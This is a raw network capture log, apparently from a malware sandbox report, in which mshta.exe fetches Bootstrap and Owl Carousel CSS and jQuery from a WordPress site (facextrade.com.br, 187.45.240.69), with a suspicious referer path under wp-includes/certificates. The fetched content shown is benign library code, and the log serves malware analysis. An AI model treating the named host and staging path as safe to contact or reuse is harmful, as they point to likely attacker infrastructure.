Aug 16, 2022 11:53:18.852191925 CEST	67	IN	Data Raw: 69 64 20 2e 73 70 61 6e 31 30 20 7b 0a 09 77 69 64 74 68 3a 38 32 2e 39 37 38 37 32 33 34 30 34 32 35 35 25 3b 0a 09 2a 77 69 64 74 68 3a 38 32 2e 39 32 35 35 33 31 39 31 34 38 39 34 25 3b 0a 7d 0a 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 73 70 61 6e Data Ascii: id .span10 {width:82.978723404255%;width:82.925531914894%;}.row-fluid .span9 {width:74.468085106383%;width:74.414893617021%;}.row-fluid .span8 {width:65.957446808511%;*width:65.904255319149%;}.row-fluid .span7 {width:57.4
Aug 16, 2022 11:53:18.852211952 CEST	69	IN	Data Raw: 3a 37 38 2e 36 31 37 30 32 31 32 37 36 35 39 36 25 3b 0a 7d 0a 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 6f 66 66 73 65 74 39 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 37 36 2e 35 39 35 37 34 34 36 38 30 38 35 Data Ascii: :78.617021276596%;}.row-fluid .offset9:first-child {margin-left:76.595744680851%;margin-left:76.489361702128%;}.row-fluid .offset8 {margin-left:70.212765957447%;margin-left:70.106382978723%;}.row-fluid .offset8:first-child {m
Aug 16, 2022 11:53:18.852229118 CEST	70	IN	Data Raw: 65 74 32 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 37 2e 30 32 31 32 37 36 35 39 35 37 34 35 25 3b 0a 09 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 36 2e 39 31 34 38 39 33 36 31 37 30 32 31 25 3b 0a 7d Data Ascii: et2:first-child {margin-left:17.021276595745%;margin-left:16.914893617021%;}.row-fluid .offset1 {margin-left:10.63829787234%;margin-left:10.531914893617%;}.row-fluid .offset1:first-child {margin-left:8.5106382978723%;*margin-
Aug 16, 2022 11:53:18.852250099 CEST	72	IN	Data Raw: 65 78 74 2d 69 6e 66 6f 3a 66 6f 63 75 73 20 7b 20 63 6f 6c 6f 72 3a 23 32 64 36 39 38 37 3b 20 7d 0a 2e 74 65 78 74 2d 73 75 63 63 65 73 73 20 7b 20 63 6f 6c 6f 72 3a 23 34 36 38 38 34 37 3b 20 7d 0a 61 2e 74 65 78 74 2d 73 75 63 63 65 73 73 3a Data Ascii: ext-info:focus { color:#2d6987; }.text-success { color:#468847; }a.text-success:hover, a.text-success:focus { color:#356635; }.text-left { text-align:left; }.text-right { text-align:right; }.text-center { text-align:center; }h1, h2, h3,
Aug 16, 2022 11:53:18.852269888 CEST	73	IN	Data Raw: 6f 6c 64 3b 20 7d 0a 64 64 20 7b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 32 70 78 3b 20 7d 0a 2e 64 6c 2d 68 6f 72 69 7a 6f 6e 74 61 6c 20 7b 20 2a 7a 6f 6f 6d 3a 31 3b 20 7d 0a 2e 64 6c 2d 68 6f 72 69 7a 6f 6e 74 61 6c 3a 62 65 66 6f 72 65 2c Data Ascii: old; }dd { margin-left:12px; }.dl-horizontal { *zoom:1; }.dl-horizontal:before, .dl-horizontal:after {display:table;content:"";line-height:0;}.dl-horizontal:after { clear:both; }.dl-horizontal dt {float:left;width:160px;clear
Aug 16, 2022 11:53:18.852288008 CEST	75	IN	Data Raw: 3a 32 34 70 78 3b 0a 09 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 3b 0a 7d 0a 63 6f 64 65 2c 20 70 72 65 20 7b 0a 09 70 61 64 64 69 6e 67 3a 30 20 33 70 78 20 32 70 78 3b 0a 09 66 Data Ascii: :24px;font-style:normal;line-height:24px;}code, pre {padding:0 3px 2px;font-family:Monaco, Menlo, Consolas, "Courier New", monospace;font-size:13px;color:#333;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3
Aug 16, 2022 11:53:19.074779987 CEST	128	IN	Data Raw: 74 2c 20 74 65 78 74 61 72 65 61 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4c 61 74 6f 3b 20 7d 0a 6c 61 62 65 6c 20 7b 0a 09 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 0a 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 35 70 78 3b 0a 7d 0a 73 65 Data Ascii: t, textarea { font-family:Lato; }label {display:block;margin-bottom:5px;}select, textarea, input[type="text"], input[type="password"], input[type="datetime"], input[type="datetime-local"], input[type="date"], input[type="month"], input[
Aug 16, 2022 11:53:19.516288996 CEST	255	OUT	GET /wp-content/themes/theme51253/bootstrap/css/responsive.css HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:19.730654001 CEST	335	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:45 GMT Server: Apache ETag: "a537b3-55b9-58592f5ac9140" Last-Modified: Tue, 02 Apr 2019 21:38:37 GMT Content-Length: 21945 Content-Type: text/css Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23959702 18315301 Age: 214 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 52 65 73 70 6f 6e 73 69 76 65 20 76 32 2e 33 2e 30 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 32 20 54 77 69 74 74 65 72 2c 20 49 6e 63 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 41 70 61 63 68 65 20 4c 69 63 65 6e 73 65 20 76 32 2e 30 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 61 70 61 63 68 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4c 49 43 45 4e 53 45 2d 32 2e 30 0a 20 2a 0a 20 2a 20 44 65 73 69 67 6e 65 64 20 61 6e 64 20 62 75 69 6c 74 20 77 69 74 68 20 61 6c 6c 20 74 68 65 20 6c 6f 76 65 20 69 6e 20 74 68 65 20 77 6f 72 6c 64 20 40 74 77 69 74 74 65 72 20 62 79 20 40 6d 64 6f 20 61 6e 64 20 40 66 61 74 2e 0a 20 2a 2f 0a 2e 63 6c 65 61 72 66 69 78 20 7b 0a 20 20 2a 7a 6f 6f 6d 3a 20 31 3b 0a 7d 0a 2e 63 6c 65 61 72 66 69 78 3a 62 65 66 6f 72 65 2c 0a 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 30 3b 0a 7d 0a 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 20 7b 0a 20 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0a 7d 0a 2e 68 69 64 65 2d 74 65 78 74 20 7b 0a 20 20 66 6f 6e 74 3a 20 30 2f 30 20 61 3b 0a 20 20 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 20 20 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 20 20 62 6f 72 64 65 72 3a 20 30 3b 0a 7d 0a 2e 69 6e 70 75 74 2d 62 6c 6f 63 6b 2d 6c 65 76 65 6c 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 7d 0a 40 2d 6d 73 2d 76 69 65 77 70 6f 72 74 20 7b 0a 20 20 77 69 64 74 68 3a 20 64 65 76 69 63 65 2d 77 69 64 74 68 3b 0a 7d 0a 2e 68 69 64 64 65 6e 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 0a 7d 0a 2e 76 69 73 69 62 6c 65 2d 70 68 6f 6e 65 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 2e 76 69 73 69 62 6c 65 2d 74 61 62 6c 65 74 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 2e 68 69 64 64 65 6e 2d 64 65 73 6b 74 6f 70 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 2e 76 69 73 69 62 6c 65 2d 64 65 73 6b 74 6f 70 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 68 65 72 69 74 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 37 36 Data Ascii: /! Bootstrap Responsive v2.3.0 * * Copyright 2012 Twitter, Inc * Licensed under the Apache License v2.0 * http://www.apache.org/licenses/LICENSE-2.0 * * Designed and built with all the love in the world @twitter by @mdo and @fat. /.clearfix { zoom: 1;}.clearfix:before,.clearfix:after { display: table; content: ""; line-height: 0;}.clearfix:after { clear: both;}.hide-text { font: 0/0 a; color: transparent; text-shadow: none; background-color: transparent; border: 0;}.input-block-level { display: block; width: 100%; min-height: 30px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box;}@-ms-viewport { width: device-width;}.hidden { display: none; visibility: hidden;}.visible-phone { display: none !important;}.visible-tablet { display: none !important;}.hidden-desktop { display: none !important;}.visible-desktop { display: inherit !important;}@media (min-width: 76
Aug 16, 2022 11:53:19.743338108 CEST	358	OUT	GET /wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:19.965408087 CEST	360	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:53:19 GMT Server: Apache Last-Modified: Tue, 10 Aug 2021 23:54:25 GMT ETag: "1eb103-41cd-5c93d38b56102" Accept-Ranges: bytes Content-Length: 16845 Connection: close Content-Type: text/css

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.22	49193	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:53:25.217451096 CEST	781	OUT	GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:25.461081982 CEST	796	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:53:25 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:39:19 GMT ETag: "a4faed-680-58592f82d6fc0" Accept-Ranges: bytes Content-Length: 1664 Connection: close Content-Type: text/css Data Raw: 2f 2a 0a 2a 20 09 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 4f 77 6c 20 44 65 6d 6f 20 54 68 65 6d 65 20 0a 2a 09 76 31 2e 32 34 0a 2a 2f 0a 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 7b 0a 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 30 70 78 3b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 2f 2a 20 53 74 79 6c 69 6e 67 20 4e 65 78 74 20 61 6e 64 20 50 72 65 76 20 62 75 74 74 6f 6e 73 20 2a 2f 0a 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 62 75 74 74 6f 6e 73 20 64 69 76 7b 0a 09 63 6f 6c 6f 72 3a 20 23 46 46 46 3b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 09 7a 6f 6f 6d 3a 20 31 3b 0a 09 2a 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 2f 2a 49 45 37 20 6c 69 66 65 2d 73 61 76 65 72 20 2a 2f 0a 09 6d 61 72 67 69 6e 3a 20 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 33 70 78 20 31 30 70 78 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 33 30 70 78 3b 0a 09 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 33 30 70 78 3b 0a 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 33 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 38 36 39 37 39 31 3b 0a 09 66 69 6c 74 65 72 3a 20 41 6c 70 68 61 28 4f 70 61 63 69 74 79 3d 35 30 29 3b 2f 2a 49 45 37 20 66 69 78 2a 2f 0a 09 6f 70 61 63 69 74 79 3a 20 30 2e 35 3b 0a 7d 0a 2f 2a 20 43 6c 69 63 6b 61 62 6c 65 20 63 6c 61 73 73 20 66 69 78 20 70 72 6f 62 6c 65 6d 20 77 69 74 68 20 68 6f 76 65 72 20 6f 6e 20 74 6f 75 63 68 20 64 65 76 69 63 65 73 20 2a 2f 0a 2f 2a 20 55 73 65 20 69 74 20 66 6f 72 20 6e 6f 6e 2d 74 6f 75 63 68 20 68 6f 76 65 72 20 61 63 74 69 6f 6e 20 2a 2f 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 2e 63 6c 69 63 6b 61 62 6c 65 20 2e 6f 77 6c 2d 62 75 74 74 6f 6e 73 20 64 69 76 3a 68 6f 76 65 72 7b 0a 09 66 69 6c 74 65 72 3a 20 41 6c 70 68 61 28 4f 70 61 63 69 74 79 3d 31 30 30 29 3b 2f 2a 49 45 37 20 66 69 78 2a 2f 0a 09 6f 70 61 63 69 74 79 3a 20 31 3b 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 7d 0a 0a 2f 2a 20 53 74 79 6c 69 6e 67 20 50 61 67 69 6e 61 74 69 6f 6e 2a 2f 0a 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 70 61 67 65 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 09 7a 6f 6f 6d 3a 20 31 3b 0a 09 2a 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 2f 2a 49 45 37 20 6c 69 66 65 2d 73 61 76 65 72 20 2a 2f 0a 7d 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 70 61 67 65 20 73 70 61 6e 7b 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 09 77 69 64 74 68 3a 20 31 32 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 31 32 70 78 3b 0a 09 6d 61 72 67 69 6e 3a 20 35 70 78 20 37 70 78 3b 0a 09 66 69 6c 74 65 72 3a 20 41 6c 70 68 61 28 4f 70 61 63 69 74 79 3d 35 30 29 3b 2f 2a 49 45 37 20 66 69 78 2a 2f 0a 09 6f 70 61 63 69 74 79 3a 20 30 2e 35 3b 0a 09 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 30 70 78 3b 0a 09 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 30 70 78 3b 0a 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 Data Ascii: /** Owl Carousel Owl Demo Theme v1.24/.owl-theme .owl-controls{margin-top: 10px;text-align: center;}/* Styling Next and Prev buttons /.owl-theme .owl-controls .owl-buttons div{color: #FFF;display: inline-block;zoom: 1;display: inline;/IE7 life-saver /margin: 5px;padding: 3px 10px;font-size: 12px;-webkit-border-radius: 30px;-moz-border-radius: 30px;border-radius: 30px;background: #869791;filter: Alpha(Opacity=50);/IE7 fix/opacity: 0.5;}/* Clickable class fix problem with hover on touch devices // Use it for non-touch hover action /.owl-theme .owl-controls.clickable .owl-buttons div:hover{filter: Alpha(Opacity=100);/IE7 fix/opacity: 1;text-decoration: none;}/ Styling Pagination/.owl-theme .owl-controls .owl-page{display: inline-block;zoom: 1;display: inline;/IE7 life-saver /}.owl-theme .owl-controls .owl-page span{display: block;width: 12px;height: 12px;margin: 5px 7px;filter: Alpha(Opacity=50);/IE7 fix/opacity: 0.5;-webkit-border-radius: 20px;-moz-border-radius: 20px;border-radius:
Aug 16, 2022 11:53:25.461114883 CEST	797	IN	Data Raw: 32 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 38 36 39 37 39 31 3b 0a 7d 0a 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 70 61 67 65 2e 61 63 74 69 76 65 20 73 70 61 6e 2c 0a 2e 6f 77 Data Ascii: 20px;background: #869791;}.owl-theme .owl-controls .owl-page.active span,.owl-theme .owl-controls.clickable .owl-page:hover span{filter: Alpha(Opacity=100);/IE7 fix/opacity: 1;}/* If PaginationNumbers is true */.owl-theme .owl

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.22	49194	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:53:25.688358068 CEST	800	OUT	GET /wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:25.913363934 CEST	802	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:55 GMT Server: Apache ETag: "a534c3-17278-58592d497f080" Last-Modified: Tue, 02 Apr 2019 21:29:22 GMT Content-Length: 94840 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21588391 20836423 Age: 210 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 31 2e 37 2e 32 20 6a 71 75 65 72 79 2e 63 6f 6d 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 75 6e 63 74 69 6f 6e 20 63 79 28 61 29 7b 72 65 74 75 72 6e 20 66 2e 69 73 57 69 6e 64 6f 77 28 61 29 3f 61 3a 61 2e 6e 6f 64 65 54 79 70 65 3d 3d 3d 39 3f 61 2e 64 65 66 61 75 6c 74 56 69 65 77 7c 7c 61 2e 70 61 72 65 6e 74 57 69 6e 64 6f 77 3a 21 31 7d 66 75 6e 63 74 69 6f 6e 20 63 75 28 61 29 7b 69 66 28 21 63 6a 5b 61 5d 29 7b 76 61 72 20 62 3d 63 2e 62 6f 64 79 2c 64 3d 66 28 22 3c 22 2b 61 2b 22 3e 22 29 2e 61 70 70 65 6e 64 54 6f 28 62 29 2c 65 3d 64 2e 63 73 73 28 22 64 69 73 70 6c 61 79 22 29 3b 64 2e 72 65 6d 6f 76 65 28 29 3b 69 66 28 65 3d 3d 3d 22 6e 6f 6e 65 22 7c 7c 65 3d 3d 3d 22 22 29 7b 63 6b 7c 7c 28 63 6b 3d 63 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 2c 63 6b 2e 66 72 61 6d 65 42 6f 72 64 65 72 3d 63 6b 2e 77 69 64 74 68 3d 63 6b 2e 68 65 69 67 68 74 3d 30 29 2c 62 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 6b 29 3b 69 66 28 21 63 6c 7c 7c 21 63 6b 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 29 63 6c 3d 28 63 6b 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 7c 7c 63 6b 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 29 2e 64 6f 63 75 6d 65 6e 74 2c 63 6c 2e 77 72 69 74 65 28 28 66 2e 73 75 70 70 6f 72 74 2e 62 6f 78 4d 6f 64 65 6c 3f 22 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 22 3a 22 22 29 2b 22 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 22 29 2c 63 6c 2e 63 6c 6f 73 65 28 29 3b 64 3d 63 6c 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 61 29 2c 63 6c 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 64 29 2c 65 3d 66 2e 63 73 73 28 64 2c 22 64 69 73 70 6c 61 79 22 29 2c 62 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 63 6b 29 7d 63 6a 5b 61 5d 3d 65 7d 72 65 74 75 72 6e 20 63 6a 5b 61 5d 7d 66 75 6e 63 74 69 6f 6e 20 63 74 28 61 2c 62 29 7b 76 61 72 20 63 3d 7b 7d 3b 66 2e 65 61 63 68 28 63 70 2e 63 6f 6e 63 61 74 2e 61 70 70 6c 79 28 5b 5d 2c 63 70 2e 73 6c 69 63 65 28 30 2c 62 29 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 63 5b 74 68 69 73 5d 3d 61 7d 29 3b 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 63 73 28 29 7b 63 71 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 63 72 28 29 7b 73 65 74 54 69 6d 65 6f 75 74 28 63 73 2c 30 29 3b 72 65 74 75 72 6e 20 63 71 3d 66 2e 6e 6f 77 28 29 7d 66 75 6e 63 74 69 6f 6e 20 63 69 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 65 77 20 61 2e 41 63 74 69 76 65 58 4f 62 6a 65 63 74 28 22 4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50 22 29 7d 63 61 74 63 68 28 62 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 63 68 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 65 77 20 61 2e 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 7d 63 61 74 63 68 28 62 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 63 62 28 61 2c 63 29 7b 61 2e 64 61 74 Data Ascii: /! jQuery v1.7.2 jquery.com \| jquery.org/license /(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView\|\|a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"\|\|e===""){ck\|\|(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl\|\|!ck.createElement)cl=(ck.contentWindow\|\|ck.contentDocument).document,cl.write((f.support.boxModel?"<!doctype html>":"")+"<html><body>"),cl.close();d=cl.createElement(a),cl.body.appendChild(d),e=f.css(d,"display"),b.removeChild(ck)}cj[a]=e}return cj[a]}function ct(a,b){var c={};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function cs(){cq=b}function cr(){setTimeout(cs,0);return cq=f.now()}function ci(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ch(){try{return new a.XMLHttpRequest}catch(b){}}function cb(a,c){a.dat
Aug 16, 2022 11:53:25.913405895 CEST	804	IN	Data Raw: 61 46 69 6c 74 65 72 26 26 28 63 3d 61 2e 64 61 74 61 46 69 6c 74 65 72 28 63 2c 61 2e 64 61 74 61 54 79 70 65 29 29 3b 76 61 72 20 64 3d 61 2e 64 61 74 61 54 79 70 65 73 2c 65 3d 7b 7d 2c 67 2c 68 2c 69 3d 64 2e 6c 65 6e 67 74 68 2c 6a 2c 6b 3d Data Ascii: aFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g<i;g++){if(g===1)for(h in a.converters)typeof h=="string"&&(e[h.toLowerCase()]=a.converters[h]);l=k,k=d[g];if(k==="")k=l;else if(l!==""
Aug 16, 2022 11:53:25.913443089 CEST	805	IN	Data Raw: 62 53 2c 6c 3b 66 6f 72 28 3b 69 3c 6a 26 26 28 6b 7c 7c 21 6c 29 3b 69 2b 2b 29 6c 3d 68 5b 69 5d 28 63 2c 64 2c 65 29 2c 74 79 70 65 6f 66 20 6c 3d 3d 22 73 74 72 69 6e 67 22 26 26 28 21 6b 7c 7c 67 5b 6c 5d 3f 6c 3d 62 3a 28 63 2e 64 61 74 61 Data Ascii: bS,l;for(;i<j&&(k\|\|!l);i++)l=h[i](c,d,e),typeof l=="string"&&(!k\|\|g[l]?l=b:(c.dataTypes.unshift(l),l=bZ(a,c,d,e,l,g)));(k\|\|!l)&&!g[""]&&(l=bZ(a,c,d,e,"",g));return l}function bY(a){return function(b,c){typeof b!="string"&&(c=b,b="*");if(f.is
Aug 16, 2022 11:53:25.913482904 CEST	806	IN	Data Raw: 69 6f 6e 20 62 6c 28 61 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 61 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 Data Ascii: ion bl(a){return typeof a.getElementsByTagName!="undefined"?a.getElementsByTagName(""):typeof a.querySelectorAll!="undefined"?a.querySelectorAll(""):[]}function bk(a,b){var c;b.nodeType===1&&(b.clearAttributes&&b.clearAttributes(),b.mergeAtt
Aug 16, 2022 11:53:25.913522005 CEST	808	IN	Data Raw: 6e 20 65 3d 3d 3d 63 7d 29 3b 69 66 28 62 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 20 66 2e 67 72 65 70 28 61 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 64 29 7b 72 65 74 75 72 6e 20 61 3d 3d 3d 62 3d 3d 3d 63 7d 29 3b 69 66 28 74 79 70 65 6f 66 Data Ascii: n e===c});if(b.nodeType)return f.grep(a,function(a,d){return a===b===c});if(typeof b=="string"){var d=f.grep(a,function(a){return a.nodeType===1});if(O.test(b))return f.filter(b,d,!c);b=f.filter(b,d)}return f.grep(a,function(a,d){return f.inAr
